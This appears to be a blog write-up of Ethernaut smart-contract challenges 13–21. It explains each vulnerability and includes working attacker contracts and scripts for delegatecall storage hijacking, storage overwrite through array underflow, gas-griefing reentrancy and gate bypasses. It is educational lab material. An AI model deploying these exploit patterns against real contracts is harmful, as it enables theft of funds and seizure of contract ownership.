Hi, and welcome back. Let's get to it right away.
13 - Gatekeeper One
What a sweet challenge this is, isn't it? We have to pass three gates to complete this challenge. The first one was the easiest, and we already know how to handle tx.origin != msg.sender
requirement.
What about the second gate? We have to calculate the exact number of gas that will be used to a specific point and we'll need to send the transaction with that amount.
The third? We need to solve this:
Let's start with the third one. It might seem scary or complicated but don't worry, it's not. It really is not. We just need to learn a few things about type conversions, that's all. When we try to convert values of different sizes to each other we'll lose some bytes or we'll add some bytes, and it's extremely important to understand which part is going to be lost or where the bunch of zeros will be added. Please, please check the link above to understand this topic.
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)))
. This is the line we should start as we can calculate one side of the equation. Let's examine.
We know that the size of the
tx.origin
is 20 bytes.uint160
is also 20 bytes.This means there won't be any value loss during
uint160(tx.origin))
We know that
uint16
is 2 bytes long.We also just learned how to convert a bigger
uint
to a smaller one.
uint16(someBiggerUintValue)
will return the last two bytes of that bigger value, which means the last two bytes of the tx.origin in our case.
What about the left part of the equation?
_gateKey
is 8 bytes anduint64
is also 8 bytes.uint32
is 4 bytes.uint32(uint64(_gateKey))
means last 4 bytes of the _gateKey
So, according to the third require statement, the last 4 bytes of the _gateKey
should be equal to the last two bytes of the tx.origin
. Amazing, we are getting somewhere.
Now, let's check the first require statement:require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)))
How can the last 4 bytes and the last 2 bytes of the same uint
value (uint64(_gateKey)
) be equal? You guessed it, a few ZEROs :)
0x00001234 == 0x1234
Let's make these two together. For the 3rd requirement, we understand that the last 2 bytes of our key need to be the same as the last two bytes of the tx.origin
, and for the first requirement, the previous two bytes have to be 0000
.
Perfect, now we've got the last 4 bytes but we need the first 4 too. Then, let's check the second requirement.require(uint32(uint64(_gateKey)) != uint64(_gateKey)))
The left side is the last 4 bytes of the value, the right side is the whole 8 bytes of it. How can they be equal? If the first 4 bytes were 0, right? But we don't want them to be equal. So just typing 1 anywhere in the first 4 bytes is enough to get this requirement to be true.
0x0000001 | 0000 | abcd
abcd
is your account's last 2 bytes, and voila. You've found the GATEKEY. You can try it on Remix. Type your address and copy the last 2 bytes(4 letter/number). The only difference from your address is the letters are lowercase.
Alright, we got the first gate and the third gate. What about the second one? We need to find out how much gas our attack transaction will cost in terms of gas until that point to pass the second gate. Our attacker function is like this:
function attack(bytes8 key, uint256 gasAmount) public {
ethernautInstance.enter{gas: 81910 + gasAmount}(key);
}
We need to pass some specific gasAmount
as an input, which will be consumed, and the remaining gas will be dividable by 8191. The way to calculate how much gas will be used is to write a test and try it repetitively. Let's brute force!
for (let i = 0; i < 8191; i++){
console.log("testing number: ", i);
try {
const tx = await attackerContract.connect(account1).attack(KEY_FOR_ACCOUNT1, i);
console.log("gas: ", i);
return;
} catch {}
}
When I run this test, I get the number 256, and I used that number while attacking the real ethernaut instance.
14 - Gatekeeper Two
Omg! I love these Gatekeeper challenges.
We have three gates again and the first one is the same, which leaves us with the other two.
assembly { x := extcodesize(caller()) }
require(x == 0);
This is the second gate which means the caller contract should have 0 (ZERO) lines of code. How is it possible? I have to call the enter()
function of the ethernaut instance with an attacker contract, but how can the attacker contract's code size be zero? I first thought I should try the delegatecall
but then I read the yellow paper as ethernaut recommended this.
Check the highlighted line above.
If I call the function inside the constructor, then I could pass this gate.
Okay, let's move on to the third gate, which looks a bit complicated. You should check the bitwise operators. When you see a ^ b
, this ^
operator compares every bit of the a
and b
. The operator returns 0 if those bits are the same, and returns 1 if they are different.1111 ^ 0000 -> 1111
1111 ^ 1111 -> 0000
1010 ^ 0101 -> 1111
As you can see in the 3rd example if all the bits of the two values are different from the respective ones, the ^
operator will act like an +
operator. So we can calculate the necessary values required to pass gate three. We just need to reverse the require statement.
interface IGatekeeperTwo {
function enter(bytes8) external returns (bool);
}
contract GatekeeperTwoAttack {
IGatekeeperTwo public ethernautInstance;
constructor (address instanceAddress) {
ethernautInstance = IGatekeeperTwo(instanceAddress);
// Reverse the calculation and find the uint64 value
uint64 x = type(uint64).max - uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
// Convert the uint64 value to bytes8 which is the _gateKey
bytes8 key = bytes8(x);
ethernautInstance.enter(key);
}
}
That's it. Everything is in the constructor. extcodesize == 0
.
Just deploy and complete the challenge.
15 - Naught Coin
We have to transfer all of our tokens to another address to complete this challenge. But if we want to transfer it ourselves, we have to wait 10 years :O
- How can someone transfer my tokens on my behalf?
Did you guess it? The answer is approve / transferFrom
Due to this contract being ERC20, it has these functions which let the owner approve a third party to use the owner's tokens on behalf of the owner.
We just need to create an attacker contract and in this contract, instead of calling the ethernaut instance's transfer()
function we will call the transferFrom()
function, which is inherited from the OpenZeppelin ERC20 contract.
contract NaughtCoinAttack {
INaughtCoin public ethernautInstance;
address player;
constructor(address instanceAddress) {
ethernautInstance = INaughtCoin(instanceAddress);
player = msg.sender;
}
function attack(uint256 amount) public {
ethernautInstance.transferFrom(player, address(this), amount);
}
}
And here is the attack script. We approve first and attack later.
// Approve the attacker to use tokens.
// instance is your ethernaut instance.
// ATTACKER_ADDRESS is your deployed attack contract address
const approveTx = await instance.approve(ATTACKER_ADDRESS, VALUE);
await approveTx.wait();
// Execute the attack.
const transferTx = await naughtCoinAttacker.attack(VALUE);
const attackReceipt = await transferTx.wait();
console.log("attackReceipt: ", attackReceipt);
16 - Preservation
This challenge has two contracts: Preservation and LibraryContract. We have to capture the Preservation contract. Let's understand it first.
function setFirstTime(uint timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, timeStamp)); }
When this function is called, it will execute the setTime()
function described in the LibraryContract, but it will change the Preservation contract's state because the function is being called with delegatecall.
You remember the delegatecall, right? Let's check the LibraryContract.
What is the
setTime()
function do? It updates thestoredTime
variable.In which storage slot is
storedTime
variable stored in the LibraryContract? Slot 0.If someone calls this function with
call
, the LibraryContract's slot 0 will be changed.If someone (Preservation contract) calls this function with
delegatecall
, the Preservation contract's (caller contract) slot 0 will be changed.What is located in slot 0 of the Preservation contract?
address public timeZone1Library;
So, if we call
function setFirstTime(uint timeStamp)
in the Preservation contract, it will execute the LibraryContract's function and theaddress public timeZone1Library
variable will be set.
Perfect, but there is a problem. While slot 0 is uint
in the LibraryContract, it is an address
in the Preservation contract.
How can we change the address by giving a uint
input?
Addresses are 20 bytes values. We can convert an address
to uint160
, and if we give this value as input, it will be converted to an address again without losing any bytes while changing the state.
function attack() public {
uint160 value = uint160(msg.sender);
ethernautInstance.setFirstTime(value);
}
This was my first try. It worked but not quite enough. In this way, I captured the timeZone1Library
, not the Preservation contract.
address public timeZone1Library
is my own address now but I had to change the address public owner
to my address. How can I do that? At this stage, I can only change the variable in slot 0 but the owner
variable is stored in slot 2.
Then, I got the idea. I will deploy a new Library, and in this library, everything will be the same except the storedTime
variable's slot location. Then I will attack 2 times. The first attack will change the address public timeZone1Library
to my malicious attacker library, and the second one will call the function inside my library and change the owner.
interface IPreservation {
function setFirstTime(uint) external;
function setSecondTime(uint) external;
}
// Malicious library is the same except the storedTime variable's location. It is in the slot 2.
contract LibraryContract2 {
uint firstSlot;
uint secondSlot;
uint storedTime;
constructor() {}
function setTime(uint _time) public {
storedTime = _time;
}
}
contract PreservationAttack {
IPreservation public ethernautInstance;
LibraryContract2 public newLibrary;
// You need to deploy your library first, then pass it in the constructor while deploying attacker contract.
constructor(address instanceAddress, address newLibraryAddress) {
ethernautInstance = IPreservation(instanceAddress);
newLibrary = LibraryContract2(newLibraryAddress);
}
// First step is changing the library in slot 0 to our malicious library
function changeLibrary() public {
uint160 value = uint160(address(newLibrary));
ethernautInstance.setFirstTime(value);
}
// Second step is attacking with our own address, but slot 2 will be changed this time.
function attack() public {
uint160 value = uint160(msg.sender);
ethernautInstance.setFirstTime(value);
}
}
Wow. That was one hell of a cool hacking. I hope you enjoyed this one as much as I do.
17 - Recovery
This challenge was quite simple compared to others. We only need to find a deployed contract address which can be found with getContractAddress() in the ethers library.
It is much simpler if we use a block explorer and find the transaction of the ethernaut instance.
Then we call the destroy()
function with that address, and that's all.
18 - MagicNumber
That one was tricky and I had to do a lot of research for this. We are required to write raw bytecode for this challenge.
Previously I shared this article about EVM opcodes. At first, I thought I should do something like that. If I could write some opcodes that compare if a transaction's calldata is the same as the function selector of whatIsTheMeaningOfLife()
, I would probably manage to return some value. So, I found the function selector first:bytes4(keccak256("whatIsTheMeaningOfLife()"))
, which resulted: 0x650500c1
Then I decided what my opcodes should be.
It stores the value 0x2a
(42 in decimal) in the memory, and then loads the calldata to stack zero, compares it with the value 650600c1(function selector)
using the EQ opcode. If they are equal, it returns the value stored in the memory. Then I checked the Ethereum yellow paper and typed the bytecode one by one according to the opcodes in the yellow paper.
There is a big problem with these codes. Even though this limited functionality, it is still 19 opcodes but we have to solve this challenge under 10. What is the answer? The answer is returning the value no matter what. Don't check any function, don't check anything. Just return the value.
Store the value. Return the value. Opcodes were just that. What about how to deploy it?
As you might know, these opcodes were for the runtime. We also need to type the creation bytecode which will copy our runtime codes and return it to the EVM. You can check this one if you want to learn more about the creation opcodes.
After completing the creation and runtime bytecodes, we can deploy it using the ethers library.
const provider = new ethers.providers.JsonRpcProvider(process.env.GOERLI_RPC_URL);
const account = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
const bytecode = "0x600a600c600039600a6000f3602a60405260206040f3"
// Deploy the contract by sending a transaction with bytecode.
const transferTx = await account.sendTransaction({from: account.address, data: bytecode});
Then set this newly deployed contract's address to your ethernaut instance.const tx = await instance.setSolver(deployedAddress);
19 - Alien Codex
This challenge was again about the storage layout but a bit trickier.
We have to claim ownership of the AlienCodex
contract, and if you check it, you will see that we can write to the storage with record()
and revise()
functions. It is obvious that we need to use one of these methods to change the owner by overwriting the owner's slot. But, where is the owner?
At first glance, this contract doesn't look like it has an owner but it inherits the Ownable
contract. This means the storage variables of the Ownable
contract will be inherited too. The owner
will be located in slot 0, then the AlienCodex
contract's variables will get their slots. Due to the first variable being a bool
and there is still enough space in slot 0, it will be located in slot 0 too.
The bytes32 array
comes next (slot 1), and we know that dynamic arrays are stored according to keccak256 hash values. Slot 1 will only store the length of the array, and the keccak256(1) is going to be the starting point of the data inside of that array(codex).
// codex[0] -> slot: keccak256(1)
// codex[1] -> slot: keccak256(1) + 1
// codex[2] -> slot: keccak256(1) + 2
// ....
// codex[index] -> slot: keccak256(1) + index
The part until this point is about understanding how to solve this problem. Now let's move to the solution. We need to change slot 0 but we can only change the array. How can we change slot 0?
codex[index]
is stored in keccak256(1) + index
, right? This means we can write to slot 0 if keccak256(1) + index = 0
.
First of all, we need to make contact with aliens and increase the array length. Increasing array length is the most important here because right now we can not reach that many places in the contract storage. If the array length is big enough to contract storage slot counts (2^256), we can change any slot by updating the array.
// Make contact first
const contactTx = await instance.make_contact();
// Retract to underflow. Array length will be 2^256 after this.
const tx = await instance.retract();
After we call retract method, the contract's state will change like this:
Storage slot 1 (the length of the codex array) is now 0xfffffffffff.....ffff.
After that, we can calculate the necessary index and change it.
// Compute to find the index that will write to the slot 0.
// keccak256(1) + index = 2^256
const keccakValue = ethers.BigNumber.from(ethers.utils.keccak256("0x0000000000000000000000000000000000000000000000000000000000000001"));
const index = ethers.BigNumber.from("2").pow("256").sub(keccakValue);
// Attack and change the storage slot 0.
// address32Bytes is your address padded with 12 bytes of zeros.
const attackTx = await instance.revise(index, address32Bytes);
const attackReceipt = await attackTx.wait();
console.log(attackReceipt);
20 - Denial
While trying to solve the Reentrancy challenge I had an issue and shared it in my previous blog post. If you check that post, you will see that my transaction run out of gas and was never finalized because I forgot to write an if statement inside the receive()
to stop the code at some point.
Actually, my mistake during that challenge is the solution to this challenge. We will write a reentrancy contract that never stops and consumes all the gas, and we will set this contract as the withdrawal partner.
contract DenialAttack {
IDenial public ethernautInstance;
constructor (address instanceAddress) {
ethernautInstance = IDenial(instanceAddress);
// Set this contract as partner of the challenge instance.
ethernautInstance.setWithdrawPartner(address(this));
}
// A reentrancy function that never stops
receive() payable external {
ethernautInstance.withdraw();
}
}
21 - Shop
This challenge is almost identical to the Elevator challenge. If you didn't check, you can see the solution here.
Like the Elevator challenge, we will again create an attacker contract that inherits the Buyer
interface. Inside our attacker contract, we will do two things:
Override the
price()
function to our likingAttack the Shop contract by calling
buy()
.
What should price()
function do?
// Inside the Shop contract's buy function.
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
As you can see above, price()
method is being called two times: the first one is to check if the statement is true, and the second one is to update the contract's storage value.
So, price()
method of our malicious attacker contract should return a bigger value than 100 in the first call but should return a smaller value in the second call. Did you notice that the isSold
value is updated between two calls. That's the one we will use.
contract ShopAttack is Buyer {
IShop public ethernautInstance;
constructor (address instanceAddress) {
ethernautInstance = IShop(instanceAddress);
}
// Override the price() method of Buyer interface.
function price() external override view returns(uint){
if (!ethernautInstance.isSold()){
return 111;
} else {
return 1;
}
}
function attack() public {
ethernautInstance.buy();
}
In the first call, it will return 111 and pass the requirement.
In the second call, it will set the price to 1.
All you need to do now is to attack. When we attack, the victim contract will create a Buyer
instance with our attacker contract's address, and our attacker contract's price()
function is going to set the price to 1.
Hey! Thank you for coming this far. You are amazing.
That's quite a long article to consume and it's enough for this one. The last few challenges will be in the next blog post, and I hope to see you next week.